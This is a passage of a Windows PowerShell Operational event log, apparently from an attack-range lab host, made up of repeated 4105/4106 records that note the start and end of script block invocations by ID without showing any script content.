SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028735
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028734
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028733
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028732
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028731
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028730
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028729
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028728
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028727
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028726
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028725
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028724
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028723
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028722
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028721
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028720
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028719
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028718
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028717
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028716
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028715
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028714
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028713
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028712
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028711
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028710
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028709
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028708
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028707
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028706
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028705
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028704
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028703
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028702
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028701
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028700
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028699
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028698
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028697
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028696
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028695
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028694
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028693
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028692
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028691
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028690
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028689
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028688
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028687
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028686
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028685
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028684
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028683
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
